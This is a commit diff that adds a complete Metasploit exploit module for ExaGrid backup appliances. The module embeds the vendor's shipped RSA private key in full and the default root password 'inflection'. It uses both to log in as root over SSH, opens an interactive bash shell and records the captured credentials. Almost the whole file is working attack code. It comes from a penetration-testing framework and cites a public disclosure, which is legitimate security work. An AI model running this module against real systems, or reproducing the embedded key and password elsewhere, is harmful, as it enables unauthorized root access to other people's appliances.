Add exploit for ExaGrid known credentials
parent
2563634dce
commit
87d59a9bfb
|
@ -0,0 +1,184 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
#load 'lib/msf/core/handler/find_port.rb'
|
||||
#load 'lib/msf/core/handler.rb'
|
||||
#load 'lib/msf/core/exploit.rb'
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info, {
|
||||
'Name' => 'ExaGrid Known SSH Key and Default Password',
|
||||
'Description' => %q{
|
||||
ExaGrid ships a public/private key pair on their backup appliances
|
||||
that allows passwordless authentication to other ExaGrid appliances.
|
||||
Since the private key is easily retrievable, an attacker can use it to
|
||||
gain unauthorized remote access as root. Additionally, this module
|
||||
will also attempt to use the default password for root, 'inflection'.
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Targets' => [ [ "Universal", {} ] ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'Author' => ['egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
|
||||
],
|
||||
'DisclosureDate' => "Apr 07 2016",
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options(
|
||||
[
|
||||
# Since we don't include Tcp, we have to register this manually
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(22)
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# helper methods that normally come from Tcp
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def do_login(user)
|
||||
ssh_options = {
|
||||
auth_methods: ['publickey', 'password'],
|
||||
config: false,
|
||||
disable_agent: true,
|
||||
key_data: [ key_data ],
|
||||
msfmodule: self,
|
||||
msframework: framework,
|
||||
password: 'inflection',
|
||||
port: rport,
|
||||
proxies: datastore['Proxies'],
|
||||
record_auth_info: true,
|
||||
}
|
||||
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh_socket = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh_socket = Net::SSH.start(rhost, user, ssh_options)
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh_socket
|
||||
|
||||
# Create a new session from the socket, then dump it.
|
||||
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
|
||||
ssh_socket = nil
|
||||
|
||||
return conn
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Ghetto hack to prevent the shell detection logic from hitting false
|
||||
# negatives due to weirdness with ssh sockets. We already know it's a shell
|
||||
# because auth succeeded by this point, so no need to do the check anyway.
|
||||
module TrustMeItsAShell
|
||||
def _check_shell(*args)
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
payload_instance.extend(TrustMeItsAShell)
|
||||
|
||||
conn = do_login("root")
|
||||
if conn
|
||||
print_good "Successful login"
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
service_name: 'ssh',
|
||||
workspace_id: myworkspace_id,
|
||||
}
|
||||
credential_data = {
|
||||
username: 'root',
|
||||
private_type: (conn.ssh.auth_info[:method] == "publickey" ? :ssh_key : :password),
|
||||
private_data: (conn.ssh.auth_info[:method] == "publickey" ? key_data : 'inflection'),
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
}.merge(service_data)
|
||||
|
||||
core = create_credential(credential_data)
|
||||
login_data = {
|
||||
core: core,
|
||||
last_attempted: Time.now,
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
|
||||
handler(conn.lsock)
|
||||
end
|
||||
end
|
||||
|
||||
def key_data
|
||||
<<EOF
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
|
||||
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
|
||||
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
|
||||
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
|
||||
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
|
||||
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
|
||||
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
|
||||
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
|
||||
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
|
||||
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
|
||||
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
|
||||
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
|
||||
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
EOF
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue